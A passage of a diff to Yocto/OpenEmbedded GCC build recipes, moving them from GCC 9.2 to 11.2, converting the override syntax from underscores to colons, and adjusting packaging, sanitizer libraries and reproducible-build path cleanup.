+ 'mips' : ['gcc/config/linux.h', 'gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
+ 'mips64' : ['gcc/config/linux.h', 'gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
+ 'powerpc' : ['gcc/config/linux.h', 'gcc/config/rs6000/linux64.h'],
+ 'powerpc64' : ['gcc/config/linux.h', 'gcc/config/rs6000/linux64.h'],
+ 'aarch64' : ['gcc/config/linux.h', 'gcc/config/aarch64/aarch64-linux.h', 'gcc/config/arm/linux-eabi.h'],
+ 'arm' : ['gcc/config/linux.h', 'gcc/config/aarch64/aarch64-linux.h', 'gcc/config/arm/linux-eabi.h'],
}
libdir32 = 'SYSTEMLIBS_DIR'
@@ -170,7 +184,7 @@ python gcc_multilib_setup() {
header_config_files = gcc_header_config_files[target_arch]
ml_list = ['DEFAULTTUNE_MULTILIB_ORIGINAL' if mlprefix else 'DEFAULTTUNE']
- mltunes = [('DEFAULTTUNE_virtclass-multilib-%s' % ml) for ml in multilibs]
+ mltunes = [('DEFAULTTUNE:virtclass-multilib-%s' % ml) for ml in multilibs]
if mlprefix:
mlindex = 0
for ml in multilibs:
diff --git a/meta/recipes-devtools/gcc/gcc-runtime.inc b/meta/recipes-devtools/gcc/gcc-runtime.inc
index 2da3c02ef0..e9f2cf16e8 100644
--- a/meta/recipes-devtools/gcc/gcc-runtime.inc
+++ b/meta/recipes-devtools/gcc/gcc-runtime.inc
@@ -2,11 +2,11 @@ require gcc-configure-common.inc
SUMMARY = "Runtime libraries from GCC"
-# Over-ride the LICENSE set by gcc-${PV}.inc to remove "& GPLv3"
+# Over-ride the LICENSE set by gcc-${PV}.inc to remove "& GPL-3.0-only"
# All gcc-runtime packages are now covered by the runtime exception.
LICENSE = "GPL-3.0-with-GCC-exception"
-CXXFLAGS_remove = "-fvisibility-inlines-hidden"
+CXXFLAGS:remove = "-fvisibility-inlines-hidden"
EXTRA_OECONF_PATHS = "\
--with-gxx-include-dir=${includedir}/c++/${BINV} \
@@ -14,47 +14,61 @@ EXTRA_OECONF_PATHS = "\
--with-build-sysroot=${STAGING_DIR_TARGET} \
"
-EXTRA_OECONF_append_linuxstdbase = " --enable-clocale=gnu"
-EXTRA_OECONF_append = " --cache-file=${B}/config.cache"
+EXTRA_OECONF:append:linuxstdbase = " --enable-clocale=gnu"
+EXTRA_OECONF:append = " --cache-file=${B}/config.cache"
+EXTRA_OECONF:append:libc-newlib = " --with-newlib"
# Disable ifuncs for libatomic on arm conflicts -march/-mcpu
-EXTRA_OECONF_append_arm = " libat_cv_have_ifunc=no "
+EXTRA_OECONF:append:arm = " libat_cv_have_ifunc=no "
+EXTRA_OECONF:append:armeb = " libat_cv_have_ifunc=no "
+
+DISABLE_STATIC:class-nativesdk ?= ""
+
+# Newlib does not support symbol versioning on libsdtcc++
+SYMVERS_CONF:libc-newlib = ""
# Building with thumb enabled on armv6t fails
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
RUNTIMELIBITM = "libitm"
-RUNTIMELIBITM_arc = ""
-RUNTIMELIBITM_mipsarch = ""
-RUNTIMELIBITM_nios2 = ""
-RUNTIMELIBITM_microblaze = ""
-RUNTIMELIBITM_riscv32 = ""
-RUNTIMELIBITM_riscv64 = ""
+RUNTIMELIBITM:arc = ""
+RUNTIMELIBITM:mipsarch = ""
+RUNTIMELIBITM:nios2 = ""
+RUNTIMELIBITM:microblaze = ""
+RUNTIMELIBITM:riscv32 = ""
+RUNTIMELIBITM:riscv64 = ""
RUNTIMELIBSSP ?= ""
-RUNTIMELIBSSP_mingw32 ?= "libssp"
+RUNTIMELIBSSP:mingw32 ?= "libssp"
RUNTIMETARGET = "${RUNTIMELIBSSP} libstdc++-v3 libgomp libatomic ${RUNTIMELIBITM} \
${@bb.utils.contains_any('FORTRAN', [',fortran',',f77'], 'libquadmath', '', d)} \
"
+# Only build libstdc++ for newlib
+RUNTIMETARGET:libc-newlib = "libstdc++-v3"
# libiberty
-# libmudflap
# libgfortran needs separate recipe due to libquadmath dependency
-SLIB = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${PV}"
-SLIB_NEW = "/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+# Relative path to be repaced into debug info
+REL_S = "/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
-DEBUG_PREFIX_MAP_class-target = " \
+DEBUG_PREFIX_MAP:class-target = " \
-fdebug-prefix-map=${WORKDIR}/recipe-sysroot= \
-fdebug-prefix-map=${WORKDIR}/recipe-sysroot-native= \
- -fdebug-prefix-map=${SLIB}=${SLIB_NEW} \
- -fdebug-prefix-map=${SLIB}/include=${SLIB_NEW}/libstdc++-v3/../include \
- -fdebug-prefix-map=${SLIB}/libiberty=${SLIB_NEW}/libstdc++-v3/../libiberty \
- -fdebug-prefix-map=${B}=${SLIB_NEW} \
+ -fdebug-prefix-map=${S}=${REL_S} \
+ -fdebug-prefix-map=${S}/include=${REL_S}/libstdc++-v3/../include \
+ -fdebug-prefix-map=${S}/libiberty=${REL_S}/libstdc++-v3/../libiberty \
+ -fdebug-prefix-map=${S}/libgcc=${REL_S}/libstdc++-v3/../libgcc \
+ -fdebug-prefix-map=${B}=${REL_S} \
+ -ffile-prefix-map=${B}/${HOST_SYS}/libstdc++-v3/include=${includedir}/c++/${BINV} \
"
do_configure () {
- export CXX="${CXX} -nostdinc++ -nostdlib++"
+ export CXX="${CXX} -nostdinc++ -L${WORKDIR}/dummylib"
+ # libstdc++ isn't built yet so CXX would error not able to find it which breaks stdc++'s configure
+ # tests. Create a dummy empty lib for the purposes of configure.
+ mkdir -p ${WORKDIR}/dummylib
+ touch ${WORKDIR}/dummylib/libstdc++.so
for d in libgcc ${RUNTIMETARGET}; do
echo "Configuring $d"
rm -rf ${B}/${TARGET_SYS}/$d/
@@ -99,7 +113,7 @@ do_install () {
fi
}
-do_install_append_class-target () {
+do_install:append:class-target () {
if [ "${TARGET_OS}" = "linux-gnuspe" ]; then
ln -s ${TARGET_SYS} ${D}${includedir}/c++/${BINV}/${TARGET_ARCH}${TARGET_VENDOR}-linux
fi
@@ -130,6 +144,10 @@ do_install_append_class-target () {
ln -s ../${TARGET_SYS}/ext ${D}${includedir}/c++/${BINV}/${TARGET_ARCH}${TARGET_VENDOR_MULTILIB_ORIGINAL}-${TARGET_OS}/ext
fi
+ if [ "${TARGET_ARCH}" == "x86_64" -a "${MULTILIB_VARIANTS}" != "" ];then
+ ln -sf ../${X86ARCH32}${TARGET_VENDOR}-${TARGET_OS} ${D}${includedir}/c++/${BINV}/${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}/32
+ fi
+
if [ "${TCLIBC}" != "glibc" ]; then
case "${TARGET_OS}" in
"linux-musl" | "linux-*spe") extra_target_os="linux";;
@@ -158,9 +176,6 @@ PACKAGES = "\
libssp \
libssp-dev \
libssp-staticdev \
- libmudflap \
- libmudflap-dev \
- libmudflap-staticdev \
libquadmath \
libquadmath-dev \
libquadmath-staticdev \
@@ -175,112 +190,102 @@ PACKAGES = "\
libitm-staticdev \
"
# The base package doesn't exist, so we clear the recommends.
-RRECOMMENDS_${PN}-dbg = ""
+RRECOMMENDS:${PN}-dbg = ""
# include python debugging scripts
-FILES_${PN}-dbg += "\
- ${libdir}/libstdc++.so.*-gdb.py \
+FILES:${PN}-dbg += "\
+ ${libdir}/libstdc++.*-gdb.py \
${datadir}/gcc-${BINV}/python/libstdcxx \
"
-FILES_libg2c = "${target_libdir}/libg2c.so.*"
-SUMMARY_libg2c = "Companion runtime library for g77"
-FILES_libg2c-dev = "\
+FILES:libg2c = "${target_libdir}/libg2c.so.*"
+SUMMARY:libg2c = "Companion runtime library for g77"
+FILES:libg2c-dev = "\
${libdir}/libg2c.so \
${libdir}/libg2c.a \
${libdir}/libfrtbegin.a \
"
-SUMMARY_libg2c-dev = "Companion runtime library for g77 - development files"
+SUMMARY:libg2c-dev = "Companion runtime library for g77 - development files"
-FILES_libstdc++ = "${libdir}/libstdc++.so.*"
-SUMMARY_libstdc++ = "GNU standard C++ library"
-FILES_libstdc++-dev = "\
+FILES:libstdc++ = "${libdir}/libstdc++.so.*"
+SUMMARY:libstdc++ = "GNU standard C++ library"
+FILES:libstdc++-dev = "\
${includedir}/c++/ \
${libdir}/libstdc++.so \
${libdir}/libstdc++*.la \
${libdir}/libsupc++.la \
"
-SUMMARY_libstdc++-dev = "GNU standard C++ library - development files"
-FILES_libstdc++-staticdev = "\
+SUMMARY:libstdc++-dev = "GNU standard C++ library - development files"
+FILES:libstdc++-staticdev = "\
${libdir}/libstdc++*.a \
${libdir}/libsupc++.a \
"
-SUMMARY_libstdc++-staticdev = "GNU standard C++ library - static development files"
+SUMMARY:libstdc++-staticdev = "GNU standard C++ library - static development files"
-FILES_libstdc++-precompile-dev = "${includedir}/c++/${TARGET_SYS}/bits/*.gch"
-SUMMARY_libstdc++-precompile-dev = "GNU standard C++ library - precompiled header files"
+FILES:libstdc++-precompile-dev = "${includedir}/c++/${TARGET_SYS}/bits/*.gch"
+SUMMARY:libstdc++-precompile-dev = "GNU standard C++ library - precompiled header files"
-FILES_libssp = "${libdir}/libssp.so.*"
-SUMMARY_libssp = "GNU stack smashing protection library"
-FILES_libssp-dev = "\
+FILES:libssp = "${libdir}/libssp.so.*"
+SUMMARY:libssp = "GNU stack smashing protection library"
+FILES:libssp-dev = "\
${libdir}/libssp*.so \
${libdir}/libssp*_nonshared.a \
${libdir}/libssp*.la \
${libdir}/${TARGET_SYS}/${BINV}/include/ssp \
"
-SUMMARY_libssp-dev = "GNU stack smashing protection library - development files"
-FILES_libssp-staticdev = "${libdir}/libssp*.a"
-SUMMARY_libssp-staticdev = "GNU stack smashing protection library - static development files"
+SUMMARY:libssp-dev = "GNU stack smashing protection library - development files"
+FILES:libssp-staticdev = "${libdir}/libssp*.a"
+SUMMARY:libssp-staticdev = "GNU stack smashing protection library - static development files"
-FILES_libquadmath = "${libdir}/libquadmath*.so.*"
-SUMMARY_libquadmath = "GNU quad-precision math library"
-FILES_libquadmath-dev = "\
+FILES:libquadmath = "${libdir}/libquadmath*.so.*"
+SUMMARY:libquadmath = "GNU quad-precision math library"
+FILES:libquadmath-dev = "\
${libdir}/${TARGET_SYS}/${BINV}/include/quadmath* \
${libdir}/libquadmath*.so \
${libdir}/libquadmath.la \
"
-SUMMARY_libquadmath-dev = "GNU quad-precision math library - development files"
-FILES_libquadmath-staticdev = "${libdir}/libquadmath.a"
-SUMMARY_libquadmath-staticdev = "GNU quad-precision math library - static development files"
-
-# NOTE: mudflap has been removed as of gcc 4.9 and has been superseded by the address sanitiser
-FILES_libmudflap = "${libdir}/libmudflap*.so.*"
-SUMMARY_libmudflap = "Pointer debugging library for gcc"
-FILES_libmudflap-dev = "\
- ${libdir}/libmudflap*.so \
- ${libdir}/libmudflap.la \
-"
-SUMMARY_libmudflap-dev = "Pointer debugging library for gcc - development files"
-FILES_libmudflap-staticdev = "${libdir}/libmudflap.a"
-SUMMARY_libmudflap-staticdev = "Pointer debugging library for gcc - static development files"
+SUMMARY:libquadmath-dev = "GNU quad-precision math library - development files"
+FILES:libquadmath-staticdev = "${libdir}/libquadmath.a"
+SUMMARY:libquadmath-staticdev = "GNU quad-precision math library - static development files"
-FILES_libgomp = "${libdir}/libgomp*${SOLIBS}"
-SUMMARY_libgomp = "GNU OpenMP parallel programming library"
-FILES_libgomp-dev = "\
+FILES:libgomp = "${libdir}/libgomp*${SOLIBS}"
+SUMMARY:libgomp = "GNU OpenMP parallel programming library"
+FILES:libgomp-dev = "\
${libdir}/libgomp*${SOLIBSDEV} \
${libdir}/libgomp*.la \
${libdir}/libgomp.spec \
+ ${libdir}/${TARGET_SYS}/${BINV}/include/acc_prof.h \
${libdir}/${TARGET_SYS}/${BINV}/include/omp.h \
${libdir}/${TARGET_SYS}/${BINV}/include/openacc.h \
"
-SUMMARY_libgomp-dev = "GNU OpenMP parallel programming library - development files"
-FILES_libgomp-staticdev = "${libdir}/libgomp*.a"
-SUMMARY_libgomp-staticdev = "GNU OpenMP parallel programming library - static development files"
+SUMMARY:libgomp-dev = "GNU OpenMP parallel programming library - development files"
+FILES:libgomp-staticdev = "${libdir}/libgomp*.a"
+SUMMARY:libgomp-staticdev = "GNU OpenMP parallel programming library - static development files"
-FILES_libatomic = "${libdir}/libatomic.so.*"
-SUMMARY_libatomic = "GNU C++11 atomics support library"
-FILES_libatomic-dev = "\
+FILES:libatomic = "${libdir}/libatomic.so.*"
+SUMMARY:libatomic = "GNU C++11 atomics support library"
+FILES:libatomic-dev = "\
${libdir}/libatomic.so \
${libdir}/libatomic.la \
"
-SUMMARY_libatomic-dev = "GNU C++11 atomics support library - development files"
-FILES_libatomic-staticdev = "${libdir}/libatomic.a"
-SUMMARY_libatomic-staticdev = "GNU C++11 atomics support library - static development files"
+SUMMARY:libatomic-dev = "GNU C++11 atomics support library - development files"
+FILES:libatomic-staticdev = "${libdir}/libatomic.a"
+SUMMARY:libatomic-staticdev = "GNU C++11 atomics support library - static development files"
-FILES_libitm = "${libdir}/libitm.so.*"
-SUMMARY_libitm = "GNU transactional memory support library"
-FILES_libitm-dev = "\
+FILES:libitm = "${libdir}/libitm.so.*"
+SUMMARY:libitm = "GNU transactional memory support library"
+FILES:libitm-dev = "\
${libdir}/libitm.so \
${libdir}/libitm.la \
${libdir}/libitm.spec \
"
-SUMMARY_libitm-dev = "GNU transactional memory support library - development files"
-FILES_libitm-staticdev = "${libdir}/libitm.a"
-SUMMARY_libitm-staticdev = "GNU transactional memory support library - static development files"
+SUMMARY:libitm-dev = "GNU transactional memory support library - development files"
+FILES:libitm-staticdev = "${libdir}/libitm.a"
+SUMMARY:libitm-staticdev = "GNU transactional memory support library - static development files"
require gcc-testsuite.inc
-EXTRA_OEMAKE_prepend_task-check = "${PARALLEL_MAKE} "
+EXTRA_OEMAKE:prepend:task-check = "${PARALLEL_MAKE} "
MAKE_CHECK_TARGETS ??= "check-gcc ${@" ".join("check-target-" + i for i in d.getVar("RUNTIMETARGET").split())}"
# prettyprinters and xmethods require gdb tooling
@@ -301,11 +306,7 @@ do_check() {
export DEJAGNU="${WORKDIR}/dejagnu/site.exp"
# HACK: this works around the configure setting CXX with -nostd* args
- sed -i 's/-nostdinc++ -nostdlib++//g' $(find ${B} -name testsuite_flags | head -1)
- # HACK: this works around the de-stashing changes to configargs.h, as well as recipe-sysroot changing the content
- sed -i '/static const char configuration_arguments/d' ${B}/gcc/configargs.h
- ${CC} -v 2>&1 | grep "^Configured with:" | \
- sed 's/Configured with: \(.*\)/static const char configuration_arguments[] = "\1";/g' >> ${B}/gcc/configargs.h
+ sed -i 's#-nostdinc++ -L${WORKDIR}/dummylib##g' $(find ${B} -name testsuite_flags | head -1)
if [ "${TOOLCHAIN_TEST_TARGET}" = "user" ]; then
# qemu user has issues allocating large amounts of memory
diff --git a/meta/recipes-devtools/gcc/gcc-runtime_9.2.bb b/meta/recipes-devtools/gcc/gcc-runtime_11.2.bb
index dd430b57eb..dd430b57eb 100644
--- a/meta/recipes-devtools/gcc/gcc-runtime_9.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-runtime_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-sanitizers.inc b/meta/recipes-devtools/gcc/gcc-sanitizers.inc
index 8b1d1c94bf..9881afa837 100644
--- a/meta/recipes-devtools/gcc/gcc-sanitizers.inc
+++ b/meta/recipes-devtools/gcc/gcc-sanitizers.inc
@@ -35,6 +35,11 @@ do_compile () {
do_install () {
cd ${B}/${TARGET_SYS}/libsanitizer/
oe_runmake 'DESTDIR=${D}' MULTIBUILDTOP=${B}/${TARGET_SYS}/libsanitizer/ install
+ if [ -d ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include ]; then
+ install -d ${D}${libdir}/${TARGET_SYS}/${BINV}/include
+ mv ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/* ${D}${libdir}/${TARGET_SYS}/${BINV}/include
+ rmdir --ignore-fail-on-non-empty -p ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include
+ fi
if [ -d ${D}${infodir} ]; then
rmdir --ignore-fail-on-non-empty -p ${D}${infodir}
fi
@@ -42,11 +47,11 @@ do_install () {
}
INHIBIT_DEFAULT_DEPS = "1"
-ALLOW_EMPTY_${PN} = "1"
-DEPENDS = "gcc-runtime virtual/${TARGET_PREFIX}gcc"
+ALLOW_EMPTY:${PN} = "1"
+DEPENDS = "virtual/crypt gcc-runtime virtual/${TARGET_PREFIX}gcc"
# used to fix ../../../../../../../../../work-shared/gcc-8.3.0-r0/gcc-8.3.0/libsanitizer/libbacktrace/../../libbacktrace/elf.c:772:21: error: 'st.st_mode' may be used uninitialized in this function [-Werror=maybe-uninitialized]
-DEBUG_OPTIMIZATION_append = " -Wno-error"
+DEBUG_OPTIMIZATION:append = " -Wno-error"
BBCLASSEXTEND = "nativesdk"
@@ -55,19 +60,19 @@ PACKAGES += "libasan libubsan liblsan libtsan"
PACKAGES += "libasan-dev libubsan-dev liblsan-dev libtsan-dev"
PACKAGES += "libasan-staticdev libubsan-staticdev liblsan-staticdev libtsan-staticdev"
-RDEPENDS_libasan += "libstdc++"
-RDEPENDS_libubsan += "libstdc++"
-RDEPENDS_liblsan += "libstdc++"
-RDEPENDS_libtsan += "libstdc++"
-RDEPENDS_libasan-dev += "${PN}"
-RDEPENDS_libubsan-dev += "${PN}"
-RDEPENDS_liblsan-dev += "${PN}"
-RDEPENDS_libtsan-dev += "${PN}"
-RRECOMMENDS_${PN} += "libasan libubsan"
-RRECOMMENDS_${PN}_append_x86 = " liblsan"
-RRECOMMENDS_${PN}_append_x86-64 = " liblsan libtsan"
-RRECOMMENDS_${PN}_append_powerpc64 = " liblsan libtsan"
-RRECOMMENDS_${PN}_append_aarch64 = " liblsan libtsan"
+RDEPENDS:libasan += "libstdc++"
+RDEPENDS:libubsan += "libstdc++"
+RDEPENDS:liblsan += "libstdc++"
+RDEPENDS:libtsan += "libstdc++"
+RDEPENDS:libasan-dev += "${PN}"
+RDEPENDS:libubsan-dev += "${PN}"
+RDEPENDS:liblsan-dev += "${PN}"
+RDEPENDS:libtsan-dev += "${PN}"
+RRECOMMENDS:${PN} += "libasan libubsan"
+RRECOMMENDS:${PN}:append:x86 = " liblsan"
+RRECOMMENDS:${PN}:append:x86-64 = " liblsan libtsan"
+RRECOMMENDS:${PN}:append:powerpc64 = " liblsan libtsan"
+RRECOMMENDS:${PN}:append:aarch64 = " liblsan libtsan"
do_package_write_ipk[depends] += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs:do_packagedata"
do_package_write_deb[depends] += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs:do_packagedata"
@@ -76,37 +81,40 @@ do_package_write_rpm[depends] += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlib
# Only x86, powerpc, sparc, s390, arm, and aarch64 are supported
COMPATIBLE_HOST = '(x86_64|i.86|powerpc|sparc|s390|arm|aarch64).*-linux'
# musl is currently broken entirely
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
-FILES_libasan += "${libdir}/libasan.so.*"
-FILES_libasan-dev += "\
+FILES:libasan += "${libdir}/libasan.so.* ${libdir}/libhwasan.so.*"
+FILES:libasan-dev += "\
${libdir}/libasan_preinit.o \
${libdir}/libasan.so \
+ ${libdir}/libhwasan.so \
${libdir}/libasan.la \
"
-FILES_libasan-staticdev += "${libdir}/libasan.a"
+FILES:libasan-staticdev += "${libdir}/libasan.a \
+ ${libdir}/libhwasan.a \
+"
-FILES_libubsan += "${libdir}/libubsan.so.*"
-FILES_libubsan-dev += "\
+FILES:libubsan += "${libdir}/libubsan.so.*"
+FILES:libubsan-dev += "\
${libdir}/libubsan.so \
${libdir}/libubsan.la \
"
-FILES_libubsan-staticdev += "${libdir}/libubsan.a"
+FILES:libubsan-staticdev += "${libdir}/libubsan.a"
-FILES_liblsan += "${libdir}/liblsan.so.*"
-FILES_liblsan-dev += "\
+FILES:liblsan += "${libdir}/liblsan.so.*"
+FILES:liblsan-dev += "\
${libdir}/liblsan.so \
${libdir}/liblsan.la \
${libdir}/liblsan_preinit.o \
"
-FILES_liblsan-staticdev += "${libdir}/liblsan.a"
+FILES:liblsan-staticdev += "${libdir}/liblsan.a"
-FILES_libtsan += "${libdir}/libtsan.so.*"
-FILES_libtsan-dev += "\
+FILES:libtsan += "${libdir}/libtsan.so.*"
+FILES:libtsan-dev += "\
${libdir}/libtsan.so \
${libdir}/libtsan.la \
${libdir}/libtsan_*.o \
"
-FILES_libtsan-staticdev += "${libdir}/libtsan.a"
+FILES:libtsan-staticdev += "${libdir}/libtsan.a"
-FILES_${PN} = "${libdir}/*.spec ${libdir}/gcc/${TARGET_SYS}/${BINV}/include/sanitizer/*.h"
+FILES:${PN} = "${libdir}/*.spec ${libdir}/${TARGET_SYS}/${BINV}/include/sanitizer/*.h"
diff --git a/meta/recipes-devtools/gcc/gcc-sanitizers_11.2.bb b/meta/recipes-devtools/gcc/gcc-sanitizers_11.2.bb
new file mode 100644
index 0000000000..8bda2ccad6
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc-sanitizers_11.2.bb
@@ -0,0 +1,7 @@
+require recipes-devtools/gcc/gcc-${PV}.inc
+require gcc-sanitizers.inc
+
+# Building with thumb enabled on armv4t armv5t fails with
+# sanitizer_linux.s:5749: Error: lo register required -- `ldr ip,[sp],#8'
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
diff --git a/meta/recipes-devtools/gcc/gcc-sanitizers_9.2.bb b/meta/recipes-devtools/gcc/gcc-sanitizers_9.2.bb
deleted file mode 100644
index f3c7058114..0000000000
--- a/meta/recipes-devtools/gcc/gcc-sanitizers_9.2.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require recipes-devtools/gcc/gcc-${PV}.inc
-require gcc-sanitizers.inc
-
-# Building with thumb enabled on armv4t armv5t fails with
-# sanitizer_linux.s:5749: Error: lo register required -- `ldr ip,[sp],#8'
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
diff --git a/meta/recipes-devtools/gcc/gcc-source_9.2.bb b/meta/recipes-devtools/gcc/gcc-source_11.2.bb
index b890fa33ea..b890fa33ea 100644
--- a/meta/recipes-devtools/gcc/gcc-source_9.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-source_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-target.inc b/meta/recipes-devtools/gcc/gcc-target.inc
index bdc6ff658f..cc65e995c3 100644
--- a/meta/recipes-devtools/gcc/gcc-target.inc
+++ b/meta/recipes-devtools/gcc/gcc-target.inc
@@ -5,7 +5,7 @@ EXTRA_OECONF_PATHS = "\
--with-build-sysroot=${STAGING_DIR_TARGET} \
"
-EXTRA_OECONF_append_linuxstdbase = " --enable-clocale=gnu"
+EXTRA_OECONF:append:linuxstdbase = " --enable-clocale=gnu"
# Configure gcc running on the target to default to an architecture which will
# be compatible with that of gcc-runtime (which is cross compiled to be target
@@ -15,10 +15,11 @@ EXTRA_OECONF_append_linuxstdbase = " --enable-clocale=gnu"
ARMFPARCHEXT ?= ""
-EXTRA_OECONF_append_armv6 = " --with-arch=armv6${ARMFPARCHEXT}"
-EXTRA_OECONF_append_armv7a = " --with-arch=armv7-a${ARMFPARCHEXT}"
-EXTRA_OECONF_append_armv7ve = " --with-arch=armv7ve${ARMFPARCHEXT}"
-EXTRA_OECONF_append_arc = " --with-cpu=${TUNE_PKGARCH}"
+EXTRA_OECONF:append:armv6:class-target = " --with-arch=armv6${ARMFPARCHEXT}"
+EXTRA_OECONF:append:armv7a:class-target = " --with-arch=armv7-a${ARMFPARCHEXT}"
+EXTRA_OECONF:append:armv7ve:class-target = " --with-arch=armv7ve${ARMFPARCHEXT}"
+EXTRA_OECONF:append:arc:class-target = " --with-cpu=${TUNE_PKGARCH}"
+EXTRA_OECONF:append:x86-64:class-target = " --with-arch=native"
# libcc1 requres gcc_cv_objdump when cross build, but gcc_cv_objdump is
# set in subdir gcc, so subdir libcc1 can't use it, export it here to
@@ -39,10 +40,11 @@ PACKAGES = "\
${PN}-dbg \
"
-FILES_${PN} = "\
+FILES:${PN} = "\
${bindir}/${TARGET_PREFIX}gcc* \
+ ${bindir}/${TARGET_PREFIX}lto* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/collect2* \
- ${libexecdir}/gcc/${TARGET_SYS}/${BINV}/cc1plus \
+ ${libexecdir}/gcc/${TARGET_SYS}/${BINV}/g++-mapper-server \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/lto* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/lib*${SOLIBS} \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/liblto*${SOLIBSDEV} \
@@ -51,92 +53,108 @@ FILES_${PN} = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/lib*${SOLIBS} \
${gcclibdir}/${TARGET_SYS}/${BINV}/include \
${gcclibdir}/${TARGET_SYS}/${BINV}/include-fixed \
+ ${libdir}/bfd-plugins/*.so \
"
-INSANE_SKIP_${PN} += "dev-so"
-RRECOMMENDS_${PN} += "\
+INSANE_SKIP:${PN} += "dev-so"
+RRECOMMENDS:${PN} += "\
libssp \
libssp-dev \
"
-RDEPENDS_${PN} += "cpp"
+RDEPENDS:${PN} += "cpp"
-FILES_${PN}-dev = "\
+FILES:${PN}-dev = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/lib*${SOLIBSDEV} \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/lib*${SOLIBSDEV} \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/include/ \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/plugin/gengtype \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/gtype.state \
"
-FILES_${PN}-symlinks = "\
+FILES:${PN}-symlinks = "\
${bindir}/cc \
${bindir}/gcc \
${bindir}/gccbug \
"
-FILES_${PN}-plugins = "\
+FILES:${PN}-plugins = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin \
"
-ALLOW_EMPTY_${PN}-plugins = "1"
+ALLOW_EMPTY:${PN}-plugins = "1"
-FILES_g77 = "\
+FILES:g77 = "\
${bindir}/${TARGET_PREFIX}g77 \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/f771 \
"
-FILES_g77-symlinks = "\
+FILES:g77-symlinks = "\
${bindir}/g77 \
${bindir}/f77 \
"
-RRECOMMENDS_g77 = "\
+RRECOMMENDS:g77 = "\
libg2c \
libg2c-dev \
"
-FILES_gfortran = "\
+FILES:gfortran = "\
${bindir}/${TARGET_PREFIX}gfortran \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/f951 \
"
-RRECOMMENDS_gfortran = "\
+RRECOMMENDS:gfortran = "\
libquadmath \
libquadmath-dev \
"
-FILES_gfortran-symlinks = "\
+FILES:gfortran-symlinks = "\
${bindir}/gfortran \
${bindir}/f95"
-FILES_cpp = "\
+FILES:cpp = "\
${bindir}/${TARGET_PREFIX}cpp* \
${base_libdir}/cpp \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/cc1"
-FILES_cpp-symlinks = "${bindir}/cpp"
+FILES:cpp-symlinks = "${bindir}/cpp"
-FILES_gcov = "${bindir}/${TARGET_PREFIX}gcov* \
+FILES:gcov = "${bindir}/${TARGET_PREFIX}gcov* \
${bindir}/${TARGET_PREFIX}gcov-tool* \
"
-FILES_gcov-symlinks = "${bindir}/gcov \
+FILES:gcov-symlinks = "${bindir}/gcov \
${bindir}/gcov-tool \
"
-FILES_g++ = "\
+FILES:g++ = "\
${bindir}/${TARGET_PREFIX}g++* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/cc1plus \
"
-FILES_g++-symlinks = "\
+FILES:g++-symlinks = "\
${bindir}/c++ \
${bindir}/g++ \
"
-RRECOMMENDS_g++ = "\
+RRECOMMENDS:g++ = "\
libstdc++ \
libstdc++-dev \
libatomic \
libatomic-dev \
"
-FILES_${PN}-doc = "\
+FILES:${PN}-doc = "\
${infodir} \
${mandir} \
${gcclibdir}/${TARGET_SYS}/${BINV}/include/README \
"
do_compile () {
+ # Prevent full target sysroot path from being used in configargs.h header,
+ # as it will be rewritten when used by other sysroots preventing support
+ # for gcc plugins. Additionally the path is embeddeded into the output
+ # binary, this prevents building a reproducible binary.
+ oe_runmake configure-gcc
+ sed -i 's@${STAGING_DIR_TARGET}@/@g' ${B}/gcc/configargs.h
+ sed -i 's@${STAGING_DIR_HOST}@/@g' ${B}/gcc/configargs.h
+
+ # Prevent sysroot/workdir paths from being used in checksum-options.
+ # checksum-options is used to generate a checksum which is embedded into
+ # the output binary.
+ oe_runmake TARGET-gcc=checksum-options all-gcc
+ sed -i 's@${DEBUG_PREFIX_MAP}@@g' ${B}/gcc/checksum-options
+ sed -i 's@${STAGING_DIR_TARGET}@/@g' ${B}/gcc/checksum-options
+
oe_runmake all-host
}
@@ -164,17 +182,17 @@ do_install () {
# Cleanup manpages..
rm -rf ${D}${mandir}/man7
+ # Don't package details about the build host
+ rm -f ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/plugin/include/auto-build.h
+ rm -f ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/plugin/include/bconfig.h
+
cd ${D}${bindir}
# We care about g++ not c++
rm -f *c++*
# We don't care about the gcc-<version> ones for this
- rm -f *gcc-?.?*
-
- # We use libiberty from binutils
- find ${D}${libdir} -name libiberty.a | xargs rm -f
